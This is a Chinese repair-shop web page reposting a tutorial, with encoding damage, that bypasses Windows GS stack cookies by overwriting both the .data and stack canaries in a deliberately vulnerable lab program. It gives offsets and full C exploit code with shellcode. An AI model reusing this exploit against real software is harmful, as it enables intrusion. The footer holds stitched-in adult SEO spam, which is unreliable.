錦州市廣廈電腦維修|上門維修電腦|上門做系統(tǒng)|0416-3905144熱誠服務(wù),錦州廣廈維修電腦,公司IT外包服務(wù)
topFlag1 設(shè)為首頁
topFlag3 收藏本站
 
maojin003 首 頁 公司介紹 服務(wù)項(xiàng)目 服務(wù)報價 維修流程 IT外包服務(wù) 服務(wù)器維護(hù) 技術(shù)文章 常見故障
錦州市廣廈電腦維修|上門維修電腦|上門做系統(tǒng)|0416-3905144熱誠服務(wù)技術(shù)文章
同時替換棧中和.data中的Cookie突破GS

作者: 佚名  日期:2017-07-28 20:24:50   來源: 本站整理

 

最近剛剛接觸漏洞調(diào)試逆向,希望能夠?qū)⒆约赫{(diào)試過程中的看法與大家分享,望大神們不要噴我。參考書籍就是有名的《0day》,作為想接觸漏洞的新手非常適合。
言歸正傳
GS機(jī)制:
GS會在函數(shù)調(diào)用前往函數(shù)棧幀內(nèi)壓入一個隨機(jī)數(shù)(canary),然后等函數(shù)返回前,會對canary進(jìn)行核查,判斷canary是否被修改。因?yàn)閏anary的地址是(前棧幀EBP-4),所以如果溢出攻擊想要覆蓋返回地址,就會路過canary。系統(tǒng)檢測到canary被修改之后,在函數(shù)返回前就會直接終止程序
GS流程:
  • 程序啟動時,讀取.data節(jié)的第一個dword。
  • 以這個dword為基數(shù),通過和當(dāng)前系統(tǒng)時間,進(jìn)程ID,線程ID,性能計數(shù)器進(jìn)行一系列加密運(yùn)算(多次XOR)。
  • 把加密后的種子再寫入.data節(jié)的第一個dword。
  • 函數(shù)在執(zhí)行前,把加密后的種子取出,與當(dāng)前esp進(jìn)行異或計算,結(jié)果存入“前EBP”的前面(低地址端)。
  • 函數(shù)主體正常執(zhí)行。
  • 函數(shù)返回前,把canary取出與esp異或計算后,調(diào)用__security_check_cookie函數(shù)進(jìn)行檢查,與.data節(jié)里的種子進(jìn)行比較,如果校驗(yàn)通過則返回原函數(shù)繼續(xù)執(zhí)行。如果校驗(yàn)失敗,則程序終止。

意思就是,.data第一個dword異或ebp后,存放到ebp低地址端,函數(shù)返回前,這個數(shù)再xor ebp,和.data中相比較。

GS突破的思路:
1、利用未被保護(hù)的內(nèi)存突破GS
2、覆蓋虛函數(shù)突破GS(wnagzihxain有講到
3、攻擊SEH突破GS
4、同時替換棧中和.data中的cookie突破GS(同樣講到過

由于自己第一次發(fā)帖,剛好看到第四個突破技術(shù),索性就記錄下來以便交流


我們不看代碼,試想一下,如果想要同時替換棧中和.data中的cookie,需要幾步。需要什么條件。
攻擊條件:
  • 首先這個條件就很苛刻,正常情況下,我們是無法訪問到.data段中的,只有當(dāng)一個指針偏移沒有作判斷,能夠?yàn)槲覀兯茫瑢⑺赶?data的時候,才能夠覆蓋修改.data的第一個dword。

代碼中創(chuàng)造的條件是這樣的,先申請一塊堆區(qū),再創(chuàng)建一個指針指向的地址是堆區(qū)+偏移(i),當(dāng)i為我們惡意構(gòu)造的負(fù)數(shù)的時候,就有可能指向.data段。
  • 其次,要有shellcode覆蓋,代碼中給了一個strcpy,我們喜聞樂見的一個函數(shù)。

代碼如下(shellcode內(nèi)容我們慢慢給出,這里先看程序):
[C] 純文本查看 復(fù)制代碼
01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
16
17
18
19
20
void test(char * str, int i, char * src)
{
    char dest[200];
     
    if(i<0x9995)
    {
        char * buf=str+i;
        *buf=*src;
        *(buf+1)=*(src+1);
        *(buf+2)=*(src+2);
        *(buf+3)=*(src+3);
        strcpy(dest,src);
    }
}
void main()
{
    char * str=(char *)malloc(0x10000);
    //__asm int 3
    test(str,0xFFFF2FB8,shellcode);
}


攻擊調(diào)試步驟:
1、在調(diào)試的時候,確認(rèn)堆區(qū)的地址和我們要覆蓋的.data首地址離多遠(yuǎn),這樣就能確認(rèn)這個指針偏移 i 是多少;
2、確定shellcode的覆蓋偏移,到底哪個偏移地址是canary的位置;
前兩部可以利用函數(shù)返回時候的check_securitycookie函數(shù)查看系統(tǒng)是怎么檢查參數(shù)的
3、確定shellcode中canary的值,索性把shellcode的第一個dword設(shè)置為canary(90909090),那么我們用多少覆蓋呢,這需要在調(diào)試中xor ebp后確定;
4、確定shellcode組織結(jié)構(gòu)。

下面和大家一起調(diào)試,確定shellcode的內(nèi)容
調(diào)試環(huán)境:
XP sp3
vs 2008
release版本
optimization給disable掉(不然,調(diào)試代碼看不懂,canary異或的也是esp而不是ebp)

第一步,確定偏移
其實(shí)不能完全按照步驟進(jìn)行參數(shù)獲取,因?yàn)楹竺嬗行﹨?shù)可能在前面的調(diào)試中就已經(jīng)獲取了,按步驟說只是便于理解。
先把shellcode設(shè)置為四個字節(jié)90909090.指針偏移也設(shè)置為0:

[C] 純文本查看 復(fù)制代碼
01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
#include <string.h>
#include <stdlib.h>
char shellcode[]=
 
"\x90\x90\x90\x90"//new value of cookie in .data
;
void test(char * str, int i, char * src)
{
    char dest[200];
     
    if(i<0x9995)
    {
        char * buf=str+i;
        *buf=*src;
        *(buf+1)=*(src+1);
        *(buf+2)=*(src+2);
        *(buf+3)=*(src+3);
__asm int 3
        strcpy(dest,src);
    }
}
void main()
{
    char * str=(char *)malloc(0x10000);
    test(str,0,shellcode); 
}


我們首先要看cookie是怎么校驗(yàn)的。原書中講到在if語句處中斷,我設(shè)置了int3之后,停下來發(fā)現(xiàn)cookie已經(jīng)被放進(jìn).data了,所以我就下在了strcpy之前
 

這一步獲取的參數(shù):
.data地址:0x00403000
棧中需要覆蓋canary的地址:0x0012FF60
棧中需要返回的地址0x0012FF68
堆分配首地址(這一步我忘記標(biāo)出來了,他就是test函數(shù)test(str,0,shellcode)返回地址前、高地址處的第一個str的地址):0x00410048
計算可得:0x410048-0x403000=53320,由于這個偏移應(yīng)該是負(fù)數(shù),所以i=-53320=FFFF2FB8
這樣第一二步驟的參數(shù)已經(jīng)得到了

將i修改后,如下:
[C] 純文本查看 復(fù)制代碼
01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
16
17
18
19
20
void test(char * str, int i, char * src)
{
    char dest[200];
     
    if(i<0x9995)
    {
        char * buf=str+i;
        *buf=*src;
        *(buf+1)=*(src+1);
        *(buf+2)=*(src+2);
        *(buf+3)=*(src+3);
        __asm int 3
        strcpy(dest,src);
    }
}
void main()
{
    char * str=(char *)malloc(0x10000);
    test(str,0xFFFF2FB8,shellcode);
}


第二步,確定canary的值
如何確定?已經(jīng)我們要將90909090寫入.data,GS校驗(yàn)的時候,會將canary和ebp異或然后和90909090對比,所以,canary=90909090 xor 當(dāng)時的ebp
int3位置不變,我們還定位到函數(shù)準(zhǔn)備返回檢查canary的時候
 
canary = 0x0012ff64 xor 0x90909090 = 0x90826ff4



第三步,確定shellcode組織結(jié)構(gòu)
對了,shellcode在棧中的位置還沒確定呢
還是剛才的斷點(diǎn),在strcpy之前停下來,找shellcode 復(fù)制的棧中位置,這也是為什么設(shè)置90909090,因?yàn)槊黠@好找,還可以搜索
 
找到了shellcode地址=0x0012FE94
所以shellcode總大小=0x0012FE94-返回的地址0x0012FF68 +4=216字節(jié)
覆蓋返回地址:12FF68-12FF6B
覆蓋canary地址:12FF60-12FF63
最后12個字節(jié)是這樣的\xF4\x6F\x82\x90 \x90\x90\x90\x90 \x94\xFE\x12\x00
所以shellcode是這樣安排的:
\x90\x90\x90\x90||\xFC\x68···\x57\xF8||\x90···\x90|| \xF4\x6F\x82\x90 \x90\x90\x90\x90 \x94\xFE\x12\x00
4字節(jié)                       168字節(jié)                     32字節(jié)(216-4-168-12=32字節(jié))           12個字節(jié)

最終形成代碼
[C] 純文本查看 復(fù)制代碼
01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
#include <string.h>
#include <stdlib.h>
char shellcode[]=
 
"\x90\x90\x90\x90"//new value of cookie in .data
"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
"\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
"\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
"\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
"\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
"\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
"\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
"\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
"\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
"\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50"
"\x53\xFF\x57\xFC\x53\xFF\x57\xF8"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\xF4\x6F\x82\x90"//result of \x90\x90\x90\x90 xor EBP
"\x90\x90\x90\x90"
"\x94\xFE\x12\x00"//address of shellcode
;
void test(char * str, int i, char * src)
{
    char dest[200];
     
    if(i<0x9995)
    {
        char * buf=str+i;
        *buf=*src;
        *(buf+1)=*(src+1);
        *(buf+2)=*(src+2);
        *(buf+3)=*(src+3);
        strcpy(dest,src);
    }
}
void main()
{
    char * str=(char *)malloc(0x10000);
    //__asm int 3
    test(str,0xFFFF2FB8,shellcode);
}

 

成功溢出。


熱門文章
  • 機(jī)械革命S1 PRO-02 開機(jī)不顯示 黑...
  • 聯(lián)想ThinkPad NM-C641上電掉電點(diǎn)不...
  • 三星一體激光打印機(jī)SCX-4521F維修...
  • 通過串口命令查看EMMC擦寫次數(shù)和判...
  • IIS 8 開啟 GZIP壓縮來減少網(wǎng)絡(luò)請求...
  • 索尼kd-49x7500e背光一半暗且閃爍 ...
  • 樓宇對講門禁讀卡異常維修,讀卡芯...
  • 新款海信電視機(jī)始終停留在開機(jī)界面...
  • 常見打印機(jī)清零步驟
  • 安裝驅(qū)動時提示不包含數(shù)字簽名的解...
  • 共享打印機(jī)需要密碼的解決方法
  • 圖解Windows 7系統(tǒng)快速共享打印機(jī)的...
  • 錦州廣廈電腦上門維修

    報修電話:13840665804  QQ:174984393 (聯(lián)系人:毛先生)   
    E-Mail:174984393@qq.com
    維修中心地址:錦州廣廈電腦城
    ICP備案/許可證號:遼ICP備2023002984號-1
    上門服務(wù)區(qū)域: 遼寧錦州市區(qū)
    主要業(yè)務(wù): 修電腦,電腦修理,電腦維護(hù),上門維修電腦,黑屏藍(lán)屏死機(jī)故障排除,無線上網(wǎng)設(shè)置,IT服務(wù)外包,局域網(wǎng)組建,ADSL共享上網(wǎng),路由器設(shè)置,數(shù)據(jù)恢復(fù),密碼破解,光盤刻錄制作等服務(wù)

    技術(shù)支持:微軟等
    主站蜘蛛池模板: 无码色偷偷亚洲国内自拍| 久久av无码专区亚洲av桃花岛| 久久久久久久久无码精品亚洲日韩| 宅男在线国产精品无码| 亚洲国产精品无码专区影院| 人妻无码久久精品人妻| 中文有码vs无码人妻| 性色av无码免费一区二区三区| 亚洲欧洲精品无码AV| 无码熟妇αⅴ人妻又粗又大| 无码精品一区二区三区免费视频 | 无码丰满熟妇浪潮一区二区AV| 九九在线中文字幕无码| 无码无遮挡又大又爽又黄的视频| 五月婷婷无码观看| 国产精品无码2021在线观看| 久久久久亚洲AV无码永不| 国产午夜无码福利在线看网站| 亚洲AV无码一区二区三区人| 久久国产加勒比精品无码| 日韩精品无码人成视频手机| 粉嫩大学生无套内射无码卡视频 | 久久久久琪琪去精品色无码| 五月丁香六月综合缴清无码| 亚洲AV无码一区二区三区网址| 无码人妻AV一二区二区三区| 国产成人无码精品一区二区三区| 亚洲va中文字幕无码| 人妻无码一区二区视频| 国产精品白浆无码流出| 免费无码AV片在线观看软件| 日韩免费a级毛片无码a∨| 精品久久久无码中文字幕边打电话 | 亚洲AV无码专区日韩| 欧日韩国产无码专区| 亚洲一区二区三区无码影院| 成人无码区免费A∨直播| 中文字幕久久精品无码| 亚洲AV无码精品色午夜果冻不卡| 无码人妻精品一区二区三区东京热 | 中文字幕无码乱人伦|